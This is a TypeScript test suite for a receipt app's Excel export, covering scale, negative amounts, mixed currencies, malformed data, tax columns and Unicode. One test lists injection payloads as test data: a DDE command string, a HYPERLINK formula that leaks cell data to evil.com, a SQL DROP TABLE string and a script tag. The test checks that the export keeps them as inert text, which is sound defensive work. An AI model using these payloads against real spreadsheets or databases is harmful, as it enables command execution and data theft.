Files
scan-receipts/tests/e2e/challenger_excel_adversarial.test.ts
Timo 84b9987c49 Add full application: receipt scanning, auth, billing, and account deletion
Brings the working codebase (Next.js app, auth system, Stripe billing,
Docker/deploy config, tests, docs) into version control on top of the
placeholder initial commit, and adds account self-deletion (Danger Zone
in Settings, password + typed-email confirmation, cascading DB cleanup,
Stripe cancellation) per GDPR right-to-erasure.

Excludes local build caches, node_modules, and internal agent scratch
files; .gitignore hardened to keep those out going forward.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-08-19 20:59:04 +02:00

653 lines
28 KiB
TypeScript

/**
* Empirical Challenger: Adversarial Stress Test & Edge-Case Verification Suite for Excel Generator
* Target: src/lib/export/excelGenerator.ts
*
* Test Dimensions:
* 1. Extreme Scale (1,000+ line items, 1,000+ receipts, memory and formula integrity)
* 2. Negative Financials (discounts, stornos, Pfand refunds, [Red] formatting, algebraic sign consistency)
* 3. Multi-Currency Heterogeneity (EUR, USD, CHF, GBP, JPY, CAD, lowercase, whitespace, symbols, empty)
* 4. Missing / Malformed / Corrupted Data Objects (undefined/null properties, malformed dates, NaN/Infinity)
* 5. High-Dimensional Dynamic Tax Rates (0%, 2.5%, 3.8%, 7%, 8.1%, 10%, 13%, 19%, 20%, 25%, >26 columns Z -> AA)
* 6. Unicode, Emojis, RTL, Special Characters & Formula Injection Strings
* 7. Dynamic Conditional Columns (Trinkgeld/Tips and Hospitality/Bewirtung visibility)
* 8. Strict Round-Trip ExcelJS Buffer Parsing & Formula Syntax Verification
*/
import ExcelJS from "exceljs";
import { describe, test, expect } from "./runner";
import { generateDualSheetExcel, ExcelExportOptions } from "../../src/lib/export/excelGenerator";
import { ProcessedReceipt, LineItem, TaxBreakdownItem } from "../../src/lib/schema/receipt";
// Helper to construct a base valid receipt
function createMockReceipt(overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
return {
id: `rec-${Math.random().toString(36).slice(2, 9)}`,
merchant: { name: "Test Merchant GmbH", address: "Musterstraße 1, 10115 Berlin", taxId: "DE123456789", confidence: 0.98 },
date: { isoDate: "2026-08-16", time: "14:30", confidence: 0.95 },
documentType: "KASSENBON",
receiptNumber: "REC-2026-001",
currency: "EUR",
totalAmount: { value: 119.00, confidence: 0.99 },
netAmount: 100.00,
tipAmount: null,
taxBreakdown: [
{ ratePercent: 19, taxAmount: 19.00, netAmount: 100.00 },
],
lineItems: [
{ description: "Standard Item 1", quantity: 1, unitPrice: 100.00, price: 100.00, taxRate: 19 },
],
suggestedCategory: "Bürobedarf & IT",
validation: {
isMathValid: true,
isDuplicateSuspected: false,
needsUserReview: false,
reviewField: "none",
reviewReason: null,
userConfirmed: false,
},
imageHash: "hash-test-001",
originalFileName: "receipt.jpg",
fileSizeBytes: 204800,
createdAt: "2026-08-16T14:30:00.000Z",
updatedAt: "2026-08-16T14:30:00.000Z",
status: "ready",
...overrides,
} as ProcessedReceipt;
}
// Helper to parse buffer back into ExcelJS Workbook
async function parseExcelBuffer(buffer: Buffer): Promise<ExcelJS.Workbook> {
const wb = new ExcelJS.Workbook();
await wb.xlsx.load(buffer as unknown as ArrayBuffer);
return wb;
}
describe("Adversarial Excel: 1. Extreme Scale & Workloads (1,000+ Items)", () => {
test("SCALE-1: 1,000 receipts with 1 line item each generates and parses cleanly in < 3s", async () => {
const receipts: ProcessedReceipt[] = [];
for (let i = 1; i <= 1000; i++) {
receipts.push(
createMockReceipt({
id: `rec-scale-${i}`,
receiptNumber: `NO-${i}`,
merchant: { name: `Merchant ${i}`, address: null, taxId: `DE${100000 + i}`, confidence: 0.9 },
totalAmount: { value: 10.0 + (i % 50), confidence: 0.95 },
netAmount: 8.4 + ((i % 50) * 0.84),
taxBreakdown: [{ ratePercent: 19, taxAmount: 1.6 + ((i % 50) * 0.16), netAmount: 8.4 }],
lineItems: [{ description: `Item ${i}`, quantity: 1, unitPrice: 10.0 + (i % 50), price: 10.0 + (i % 50), taxRate: 19 }],
})
);
}
const t0 = performance.now();
const buffer = await generateDualSheetExcel(receipts);
const duration = performance.now() - t0;
expect(Buffer.isBuffer(buffer)).toBe(true);
expect(buffer.length).toBeGreaterThan(50000); // Realistic workbook size > 50KB
expect(duration).toBeLessThan(3500); // Must generate quickly
const wb = await parseExcelBuffer(buffer);
const overviewSheet = wb.getWorksheet("Belegübersicht");
const lineItemSheet = wb.getWorksheet("Einzelpositionen Detail");
expect(overviewSheet).toBeDefined();
expect(lineItemSheet).toBeDefined();
// Overview: 1 header + 1000 data rows + 1 total row = 1002 rows
expect(overviewSheet!.rowCount).toBe(1002);
// Line items: 1 header + 1000 item rows = 1001 rows
expect(lineItemSheet!.rowCount).toBe(1001);
// Verify last data row live formula syntax
// Overview standard columns: 1: Nr, 2: Date, 3: Merchant, 4: Cat, 5: DocType, 6: RecNo, 7: Net, 8: MwSt 7%, 9: MwSt 19%, 10: Gross, 11: Currency, 12: MwSt gesamt, 13: Netto rechnerisch
const row1001 = overviewSheet!.getRow(1001);
const taxTotalCell = row1001.getCell(12).value as { formula?: string };
const netCalcCell = row1001.getCell(13).value as { formula?: string };
expect(taxTotalCell.formula).toBe("SUM(H1001:I1001)");
expect(netCalcCell.formula).toBe("J1001-L1001");
});
test("SCALE-2: Single receipt with 1,500 line items generates and maps correctly", async () => {
const items: LineItem[] = [];
let grossSum = 0;
for (let i = 1; i <= 1500; i++) {
const price = Math.round((1.5 + (i * 0.05)) * 100) / 100;
grossSum += price;
items.push({
description: `High volume item #${i}`,
quantity: i % 5 + 1,
unitPrice: price,
price: price,
taxRate: 19,
});
}
const receipt = createMockReceipt({
id: "rec-heavy-lines",
totalAmount: { value: Math.round(grossSum * 100) / 100, confidence: 0.99 },
netAmount: Math.round((grossSum / 1.19) * 100) / 100,
taxBreakdown: [{ ratePercent: 19, taxAmount: Math.round((grossSum - grossSum / 1.19) * 100) / 100, netAmount: Math.round((grossSum / 1.19) * 100) / 100 }],
lineItems: items,
});
const buffer = await generateDualSheetExcel([receipt]);
const wb = await parseExcelBuffer(buffer);
const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;
expect(lineSheet.rowCount).toBe(1501); // 1 header + 1500 line items
// Check first and last line item rows
// Col 1: receiptIdx, Col 4: description
const firstRow = lineSheet.getRow(2);
expect(firstRow.getCell(1).value).toBe(1);
expect(firstRow.getCell(4).value).toBe("High volume item #1");
const lastRow = lineSheet.getRow(1501);
expect(lastRow.getCell(1).value).toBe(1);
expect(lastRow.getCell(4).value).toBe("High volume item #1500");
});
});
describe("Adversarial Excel: 2. Negative Financials, Discounts & Pfand Refunds", () => {
test("NEG-1: Negative total amounts (stornos/credit notes) format with [Red] numFmt and algebraic totals", async () => {
const receipts = [
createMockReceipt({
id: "rec-pos",
totalAmount: { value: 100.0, confidence: 0.99 },
netAmount: 84.03,
taxBreakdown: [{ ratePercent: 19, taxAmount: 15.97, netAmount: 84.03 }],
}),
createMockReceipt({
id: "rec-storno",
merchant: { name: "Retoure & Gutschrift", address: null, taxId: null, confidence: 0.9 },
totalAmount: { value: -40.0, confidence: 0.99 },
netAmount: -33.61,
taxBreakdown: [{ ratePercent: 19, taxAmount: -6.39, netAmount: -33.61 }],
}),
];
const buffer = await generateDualSheetExcel(receipts);
const wb = await parseExcelBuffer(buffer);
const sheet = wb.getWorksheet("Belegübersicht")!;
// Col 7: Net, Col 10: Gross
const row3 = sheet.getRow(3);
const netCell = row3.getCell(7);
const grossCell = row3.getCell(10);
expect(netCell.value).toBe(-33.61);
expect(grossCell.value).toBe(-40.0);
// Number format must include [Red] for negative visual styling
expect(netCell.numFmt.includes("[Red]")).toBe(true);
expect(grossCell.numFmt.includes("[Red]")).toBe(true);
// Grand total row formula (Row 4, Col 10: Gross)
const totalRow = sheet.getRow(4);
const grossTotalCell = totalRow.getCell(10).value as { formula?: string };
expect(grossTotalCell.formula).toBe("SUM(J2:J3)");
});
test("NEG-2: Line items with negative Pfand / voucher discounts render without failure", async () => {
const receipt = createMockReceipt({
id: "rec-pfand",
lineItems: [
{ description: "Mineralwasser Kiste", quantity: 1, unitPrice: 5.99, price: 5.99, taxRate: 19 },
{ description: "Leergutrückgabe / Pfand", quantity: 1, unitPrice: -3.30, price: -3.30, taxRate: 19 },
{ description: "Aktionsgutschein Rabatt", quantity: 1, unitPrice: -1.50, price: -1.50, taxRate: 19 },
],
totalAmount: { value: 1.19, confidence: 0.99 },
netAmount: 1.00,
taxBreakdown: [{ ratePercent: 19, taxAmount: 0.19, netAmount: 1.00 }],
});
const buffer = await generateDualSheetExcel([receipt]);
const wb = await parseExcelBuffer(buffer);
const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;
expect(lineSheet.rowCount).toBe(4); // 1 header + 3 items
// Col 4: Description, Col 8: Line Total Price
const pfandRow = lineSheet.getRow(3);
expect(pfandRow.getCell(4).value).toBe("Leergutrückgabe / Pfand");
expect(pfandRow.getCell(8).value).toBe(-3.30);
expect(pfandRow.getCell(8).numFmt.includes("[Red]")).toBe(true);
const discountRow = lineSheet.getRow(4);
expect(discountRow.getCell(8).value).toBe(-1.50);
});
});
describe("Adversarial Excel: 3. Multi-Currency Heterogeneity & Breakdown Matrix", () => {
test("CURR-1: Single currency EUR includes (€) suffix and standard SUM total", async () => {
const receipts = [
createMockReceipt({ currency: "EUR", totalAmount: { value: 50.0, confidence: 0.99 } }),
createMockReceipt({ currency: "EUR", totalAmount: { value: 30.0, confidence: 0.99 } }),
];
const buffer = await generateDualSheetExcel(receipts);
const wb = await parseExcelBuffer(buffer);
const sheet = wb.getWorksheet("Belegübersicht")!;
// Header Col 7: Net
const netHeader = sheet.getRow(1).getCell(7).value;
expect(String(netHeader)).toContain("(€)");
// Grand total row: Col 3 is Merchant label, Col 10 is Gross Total, Col 11 is Currency
const totalRow = sheet.getRow(4);
expect(totalRow.getCell(3).value).toBe("GESAMTSUMME");
const grossTotal = totalRow.getCell(10).value as { formula?: string };
expect(grossTotal.formula).toBe("SUM(J2:J3)");
expect(totalRow.getCell(11).value).toBe("EUR");
});
test("CURR-2: Single non-EUR currency (USD) applies USD code in headers, formatting and total", async () => {
const receipts = [
createMockReceipt({ currency: "USD", totalAmount: { value: 45.0, confidence: 0.99 } }),
];
const buffer = await generateDualSheetExcel(receipts);
const wb = await parseExcelBuffer(buffer);
const sheet = wb.getWorksheet("Belegübersicht")!;
const netHeader = sheet.getRow(1).getCell(7).value;
expect(String(netHeader)).toContain("(USD)");
const totalRow = sheet.getRow(3);
expect(totalRow.getCell(11).value).toBe("USD");
});
test("CURR-3: Mixed currencies (EUR, USD, CHF, GBP, JPY) disables blind sum and generates SUMIFS matrix", async () => {
const receipts = [
createMockReceipt({ currency: "EUR", suggestedCategory: "Reisekosten & Hotel", totalAmount: { value: 100.0, confidence: 0.99 } }),
createMockReceipt({ currency: "USD", suggestedCategory: "Bürobedarf & IT", totalAmount: { value: 200.0, confidence: 0.99 } }),
createMockReceipt({ currency: "CHF", suggestedCategory: "Reisekosten & Hotel", totalAmount: { value: 150.0, confidence: 0.99 } }),
createMockReceipt({ currency: "GBP", suggestedCategory: "Sonstiges", totalAmount: { value: 50.0, confidence: 0.99 } }),
createMockReceipt({ currency: "JPY", suggestedCategory: "Bewirtung", totalAmount: { value: 5000.0, confidence: 0.99 } }),
];
const buffer = await generateDualSheetExcel(receipts);
const wb = await parseExcelBuffer(buffer);
const sheet = wb.getWorksheet("Belegübersicht")!;
// Header Col 7: Net must NOT have a single currency suffix
const netHeader = String(sheet.getRow(1).getCell(7).value);
expect(netHeader.endsWith("(€)")).toBe(false);
expect(netHeader.endsWith("(USD)")).toBe(false);
// Total row merchant cell (Col 3) has mixed notice
const totalRow = sheet.getRow(7);
expect(String(totalRow.getCell(3).value)).toContain("mehrere Währungen");
// Mixed currency MUST NOT sum across currencies in the main table row
expect(totalRow.getCell(10).value).toBeNull();
// Verify Category Summary block (placed to the right of the main table)
// Summary headers should start at column (lastCol + 2)
let summaryCol = -1;
sheet.getRow(1).eachCell((cell, colNumber) => {
if (cell.value === "Auswertung je Kategorie" || cell.value === "Kategorie") {
summaryCol = colNumber;
}
});
expect(summaryCol).toBeGreaterThan(10);
// Check that SUMIFS is used for mixed currency category rows
const summaryDataRow = sheet.getRow(2);
const countFormula = summaryDataRow.getCell(summaryCol + 2).value as { formula?: string };
expect(countFormula.formula).toContain("COUNTIFS(");
const sumFormula = summaryDataRow.getCell(summaryCol + 3).value as { formula?: string };
expect(sumFormula.formula).toContain("SUMIFS(");
});
test("CURR-4: Unusual and unsanitized currency strings (lowercase, whitespace, symbols, empty)", async () => {
const receipts = [
createMockReceipt({ currency: " usd " as any }),
createMockReceipt({ currency: "eur" as any }),
createMockReceipt({ currency: "" as any }),
createMockReceipt({ currency: undefined as any }),
createMockReceipt({ currency: "$$$" as any }),
];
const buffer = await generateDualSheetExcel(receipts);
const wb = await parseExcelBuffer(buffer);
const sheet = wb.getWorksheet("Belegübersicht")!;
// Currency values in data rows: Col 11 is currency
expect(sheet.getRow(2).getCell(11).value).toBe("USD");
expect(sheet.getRow(3).getCell(11).value).toBe("EUR");
expect(sheet.getRow(4).getCell(11).value).toBe("EUR"); // empty string defaults to EUR
expect(sheet.getRow(5).getCell(11).value).toBe("EUR"); // undefined defaults to EUR
expect(sheet.getRow(6).getCell(11).value).toBe("$$$");
});
});
describe("Adversarial Excel: 4. Missing, Null, Undefined & Malformed Objects", () => {
test("DEF-1: Completely empty or corrupted receipt objects do not throw exceptions", async () => {
const dirtyReceipts: any[] = [
{},
{ id: "empty-1" },
{ merchant: null, date: null, totalAmount: null, lineItems: null, taxBreakdown: null },
{ merchant: { name: undefined, taxId: undefined }, totalAmount: { value: undefined } },
null,
undefined,
];
const buffer = await generateDualSheetExcel(dirtyReceipts);
expect(Buffer.isBuffer(buffer)).toBe(true);
const wb = await parseExcelBuffer(buffer);
const overview = wb.getWorksheet("Belegübersicht")!;
const lineItems = wb.getWorksheet("Einzelpositionen Detail")!;
expect(overview).toBeDefined();
expect(lineItems).toBeDefined();
// 4 non-null receipts + 1 header + 1 total = 6 rows in overview
expect(overview.rowCount).toBe(6);
});
test("DEF-2: Date edge cases (invalid strings, leap years, non-ISO formats)", async () => {
const receipts = [
createMockReceipt({ date: { isoDate: "2026-08-15", time: null, confidence: 0.9 } }), // valid
createMockReceipt({ date: { isoDate: "2024-02-29", time: null, confidence: 0.9 } }), // leap year valid
createMockReceipt({ date: { isoDate: "2026-02-29", time: null, confidence: 0.9 } }), // 2026 leap day invalid -> kept as text
createMockReceipt({ date: { isoDate: "15.08.2026", time: null, confidence: 0.9 } }), // German format -> text
createMockReceipt({ date: { isoDate: "not-a-date", time: null, confidence: 0.9 } }), // invalid -> text
createMockReceipt({ date: null as any }), // null -> text ""
];
const buffer = await generateDualSheetExcel(receipts);
const wb = await parseExcelBuffer(buffer);
const sheet = wb.getWorksheet("Belegübersicht")!;
// Col 2: Date
// Row 2: valid Date object
const cellValid = sheet.getRow(2).getCell(2);
expect(cellValid.value instanceof Date).toBe(true);
expect(cellValid.numFmt).toBe("DD.MM.YYYY");
// Row 3: valid leap year 2024 Date object
const cellLeap = sheet.getRow(3).getCell(2);
expect(cellLeap.value instanceof Date).toBe(true);
// Row 4: invalid 2026-02-29 preserved as raw string
const cellInvalidLeap = sheet.getRow(4).getCell(2);
expect(typeof cellInvalidLeap.value).toBe("string");
expect(cellInvalidLeap.value).toBe("2026-02-29");
// Row 5: German dot format preserved as text
const cellDot = sheet.getRow(5).getCell(2);
expect(cellDot.value).toBe("15.08.2026");
// Row 6: invalid string preserved
const cellText = sheet.getRow(6).getCell(2);
expect(cellText.value).toBe("not-a-date");
// Row 7: null preserved as empty string
const cellNull = sheet.getRow(7).getCell(2);
expect(cellNull.value).toBe("");
});
test("DEF-3: Completely empty dataset [] produces valid workbook with empty placeholder", async () => {
const buffer = await generateDualSheetExcel([]);
const wb = await parseExcelBuffer(buffer);
const overview = wb.getWorksheet("Belegübersicht")!;
const lineItems = wb.getWorksheet("Einzelpositionen Detail")!;
// Overview has header row and grand total row
expect(overview.rowCount).toBe(2);
// Line items has header row and the 'no items' informative row
expect(lineItems.rowCount).toBe(2);
expect(String(lineItems.getRow(2).getCell(1).value)).toContain("keine Einzelpositionen erfasst");
});
});
describe("Adversarial Excel: 5. High-Dimensional Dynamic Tax Rates (> 26 Columns / Z -> AA)", () => {
test("TAX-1: Many dynamic tax rates spanning beyond 26 columns (AA, AB, AC...) with accurate SUM formulas", async () => {
// Generate 25 distinct tax rates across receipts: 0.5%, 1%, 2% ... 25%, plus standard 7% and 19%
const taxRatesList = [
0.5, 1, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 7.7, 8, 8.1, 8.875, 10, 11, 12, 13, 14, 15, 16, 17, 18, 20, 21, 22, 23, 24, 25
];
const receipts: ProcessedReceipt[] = taxRatesList.map((rate, idx) => {
return createMockReceipt({
id: `rec-tax-${idx}`,
totalAmount: { value: 100 + rate, confidence: 0.99 },
netAmount: 100,
taxBreakdown: [
{ ratePercent: rate, taxAmount: rate, netAmount: 100 },
],
});
});
const buffer = await generateDualSheetExcel(receipts);
const wb = await parseExcelBuffer(buffer);
const sheet = wb.getWorksheet("Belegübersicht")!;
// Check column count in Overview sheet
const headerRow = sheet.getRow(1);
let totalCols = 0;
headerRow.eachCell(() => totalCols++);
// 7 standard initial cols + 32 tax cols + gross + currency + taxTotal + netCalc + taxId + status = 45+ cols
expect(totalCols).toBeGreaterThan(35);
// Verify row 2 formulas:
// With 32 tax rates: firstTaxCol = 8 (H), lastTaxCol = 8 + 32 - 1 = 39 (AM)
// grossCol = 40 (AN), currencyCol = 41 (AO), taxTotalCol = 42 (AP), netCalcCol = 43 (AQ)
const row2 = sheet.getRow(2);
const taxTotalCell = row2.getCell(42).value as { formula?: string };
expect(taxTotalCell).toBeDefined();
expect(taxTotalCell.formula).toBe("SUM(H2:AM2)");
const netCalcCell = row2.getCell(43).value as { formula?: string };
expect(netCalcCell).toBeDefined();
expect(netCalcCell.formula).toBe("AN2-AP2");
});
test("TAX-2: Zero-tax-amount entries (taxAmount = 0) do not create redundant non-standard columns", async () => {
const receipts = [
createMockReceipt({
taxBreakdown: [
{ ratePercent: 19, taxAmount: 19.0, netAmount: 100.0 },
{ ratePercent: 0, taxAmount: 0.0, netAmount: 50.0 }, // 0% with 0.00 tax
{ ratePercent: 13, taxAmount: 0.0, netAmount: 10.0 }, // 13% with 0.00 tax -> must not create 13% column
],
}),
];
const buffer = await generateDualSheetExcel(receipts);
const wb = await parseExcelBuffer(buffer);
const sheet = wb.getWorksheet("Belegübersicht")!;
const headers: string[] = [];
sheet.getRow(1).eachCell((c) => headers.push(String(c.value ?? "")));
// 7% and 19% standard rates must always exist
expect(headers.some((h) => h.includes("MwSt 7 %"))).toBe(true);
expect(headers.some((h) => h.includes("MwSt 19 %"))).toBe(true);
// 13% with 0 tax amount should NOT create a dedicated column
expect(headers.some((h) => h.includes("MwSt 13 %"))).toBe(false);
});
});
describe("Adversarial Excel: 6. Unicode, RTL, Emojis & Formula Injection Attacks", () => {
test("SEC-1: Malicious spreadsheet formula injection strings are treated safely as raw text", async () => {
const injectionStrings = [
"=SUM(A1:A10)",
"+cmd|' /C calc'!A0",
"-@SUM(1,2)",
"@HYPERLINK(\"http://evil.com?leak=\"&A1, \"Click Me\")",
"=1+1",
"'; DROP TABLE receipts; --",
"<script>alert('xss')</script>",
];
const receipts = injectionStrings.map((payload, idx) => {
return createMockReceipt({
id: `rec-inj-${idx}`,
merchant: { name: payload, address: payload, taxId: payload, confidence: 0.9 },
receiptNumber: payload,
suggestedCategory: payload as any,
lineItems: [
{ description: payload, quantity: 1, unitPrice: 10.0, price: 10.0, taxRate: 19 },
],
});
});
const buffer = await generateDualSheetExcel(receipts);
const wb = await parseExcelBuffer(buffer);
const overview = wb.getWorksheet("Belegübersicht")!;
const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;
// Overview cols: 3: Merchant, 4: Category, 6: ReceiptNo
// Line items cols: 4: Description
injectionStrings.forEach((payload, idx) => {
const row = overview.getRow(idx + 2);
expect(row.getCell(3).value).toBe(payload);
expect(row.getCell(4).value).toBe(payload);
expect(row.getCell(6).value).toBe(payload);
const lineRow = lineSheet.getRow(idx + 2);
expect(lineRow.getCell(4).value).toBe(payload);
});
});
test("SEC-2: Multilingual, RTL, CJK & Multi-byte Emoji strings preserve exact fidelity", async () => {
const testCases = [
{ name: "☕ Café Süß & Lecker 🥨 GmbH", cat: "🍽️ Bewirtung", item: "Cappuccino Grande ☕ & Croissant 🥐" },
{ name: "寿司 🍣 居酒屋 東京 Tokyo", cat: "食事 🍜", item: "サーモン 刺身 盛り合わせ 🍱" },
{ name: "مكتبة النور للكتب والقرطاسية", cat: "مستلزمات مكتبية", item: "دفتر ملاحظات وقلم فاخر ✒️" },
{ name: "Большой театр сувениры 🎭", cat: "Культура", item: "Билет на балет 'Щелкунчик' 🎟️" },
{ name: "Frühstückscafé 'Zur Gemütlichkeit' <Special>", cat: "Essen & Trinken", item: "100% Bio-Vollmilch & Käse-Schinken-Toast" },
];
const receipts = testCases.map((tc, idx) => {
return createMockReceipt({
id: `rec-uni-${idx}`,
merchant: { name: tc.name, address: null, taxId: null, confidence: 0.9 },
suggestedCategory: tc.cat as any,
lineItems: [{ description: tc.item, quantity: 1, unitPrice: 25.0, price: 25.0, taxRate: 19 }],
});
});
const buffer = await generateDualSheetExcel(receipts);
const wb = await parseExcelBuffer(buffer);
const overview = wb.getWorksheet("Belegübersicht")!;
const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!;
testCases.forEach((tc, idx) => {
const row = overview.getRow(idx + 2);
expect(row.getCell(3).value).toBe(tc.name);
expect(row.getCell(4).value).toBe(tc.cat);
const lineRow = lineSheet.getRow(idx + 2);
expect(lineRow.getCell(4).value).toBe(tc.item);
});
});
});
describe("Adversarial Excel: 7. Conditional Columns (Trinkgeld & Hospitality)", () => {
test("COND-1: Hospitality columns appear ONLY when hospitality data is present", async () => {
// 1. Without hospitality
const withoutHosp = [createMockReceipt({ hospitality: undefined, documentType: "KASSENBON" })];
const buf1 = await generateDualSheetExcel(withoutHosp);
const wb1 = await parseExcelBuffer(buf1);
const headers1: string[] = [];
wb1.getWorksheet("Belegübersicht")!.getRow(1).eachCell((c) => headers1.push(String(c.value ?? "")));
expect(headers1.some((h) => h.includes("Anlass"))).toBe(false);
expect(headers1.some((h) => h.includes("Teilnehmer"))).toBe(false);
// 2. With hospitality
const withHosp = [
createMockReceipt({
documentType: "BEWIRTUNGSBELEG",
hospitality: { occasion: "Kundengespräch Roadmap 2026", participants: "Max Mustermann, Jane Doe" } as any,
}),
];
const buf2 = await generateDualSheetExcel(withHosp);
const wb2 = await parseExcelBuffer(buf2);
const sheet2 = wb2.getWorksheet("Belegübersicht")!;
const headers2: string[] = [];
sheet2.getRow(1).eachCell((c) => headers2.push(String(c.value ?? "")));
expect(headers2.some((h) => h.includes("Anlass (Bewirtung)"))).toBe(true);
expect(headers2.some((h) => h.includes("Teilnehmer (Bewirtung)"))).toBe(true);
const occasionCol = headers2.indexOf("Anlass (Bewirtung)") + 1;
const partCol = headers2.indexOf("Teilnehmer (Bewirtung)") + 1;
const rowHosp = sheet2.getRow(2);
expect(rowHosp.getCell(occasionCol).value).toBe("Kundengespräch Roadmap 2026");
expect(rowHosp.getCell(partCol).value).toBe("Max Mustermann, Jane Doe");
});
test("COND-2: Tip columns appear ONLY when tip amount is present and calculate correctly", async () => {
// 1. Without tip
const bufNoTip = await generateDualSheetExcel([createMockReceipt({ tipAmount: null })]);
const wbNoTip = await parseExcelBuffer(bufNoTip);
const headersNoTip: string[] = [];
wbNoTip.getWorksheet("Belegübersicht")!.getRow(1).eachCell((c) => headersNoTip.push(String(c.value ?? "")));
expect(headersNoTip.some((h) => h.includes("Trinkgeld"))).toBe(false);
expect(headersNoTip.some((h) => h.includes("Gesamt gezahlt"))).toBe(false);
// 2. With tip
const bufWithTip = await generateDualSheetExcel([
createMockReceipt({
totalAmount: { value: 50.0, confidence: 0.99 },
tipAmount: 5.0,
}),
]);
const wbWithTip = await parseExcelBuffer(bufWithTip);
const sheetWithTip = wbWithTip.getWorksheet("Belegübersicht")!;
const headersWithTip: string[] = [];
sheetWithTip.getRow(1).eachCell((c) => headersWithTip.push(String(c.value ?? "")));
expect(headersWithTip.some((h) => h.includes("Trinkgeld"))).toBe(true);
expect(headersWithTip.some((h) => h.includes("Gesamt gezahlt"))).toBe(true);
// In Overview with tip:
// Col 10: Gross (J), Col 14: Tip (N), Col 15: PaidTotal (O)
const row2 = sheetWithTip.getRow(2);
expect(row2.getCell(14).value).toBe(5.0);
const paidFormula = (row2.getCell(15).value as { formula?: string }).formula;
expect(paidFormula).toBe("J2+N(N2)");
});
});
describe("Adversarial Excel: 8. Layout, Views, Print Setup & Styling Invariants", () => {
test("LAYOUT-1: Freeze Panes, Tab Colors, Gridlines and Page Setup adhere to design contract", async () => {
const buffer = await generateDualSheetExcel([createMockReceipt()], { locale: "de" });
const wb = await parseExcelBuffer(buffer);
const sheet1 = wb.getWorksheet("Belegübersicht")!;
const sheet2 = wb.getWorksheet("Einzelpositionen Detail")!;
// Tab colors
expect(sheet1.properties.tabColor?.argb).toBe("FF1E293B");
expect(sheet2.properties.tabColor?.argb).toBe("FF0F766E");
// Views (frozen panes)
const view1 = sheet1.views[0] as any;
expect(view1.state).toBe("frozen");
expect(view1.xSplit).toBe(3);
expect(view1.ySplit).toBe(1);
expect(view1.showGridLines).toBe(false);
const view2 = sheet2.views[0] as any;
expect(view2.state).toBe("frozen");
expect(view2.xSplit).toBe(3);
expect(view2.ySplit).toBe(1);
expect(view2.showGridLines).toBe(false);
// Page setup: landscape, fit to 1 page wide
expect(sheet1.pageSetup.orientation).toBe("landscape");
expect(sheet1.pageSetup.fitToWidth).toBe(1);
expect(sheet1.pageSetup.fitToHeight).toBe(0);
expect(sheet1.pageSetup.printTitlesRow).toBe("1:1");
});
});